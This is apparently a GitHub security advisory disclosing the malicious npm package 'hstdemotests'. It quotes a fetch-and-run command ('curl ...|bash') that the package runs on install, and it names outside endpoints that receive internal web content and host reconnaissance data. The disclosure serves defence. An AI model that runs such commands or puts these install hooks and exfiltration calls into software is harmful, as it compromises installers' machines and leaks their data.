Skip to main content
Menu
Advisories

Malicious code in hstdemotests (npm)

GHSA-V63H-MGC2-6VJ4Published Updated GitHubMalware

Description

hstdemotests runs curl new.www.hardlic.top/1.sh|bash in both preinstall and postinstall, executing a remote script on every install. On require, index.js fetches an internal page (http://tst.woa.com/flag.html) from the victim's network and POSTs its content to http://new.www.hardlic.top/recive.php. A bundled demo.js collects whoami, the hostname and ifconfig/ipconfig output and POSTs them to http://new.www.hardlic.top/cnbos.php. Sibling of hstdemotest.

---

Credit: OpenSSF (source)

Affected versions

References

GitHub · ossf/malicious-packages

wormsign.io

GitHub Advisory Database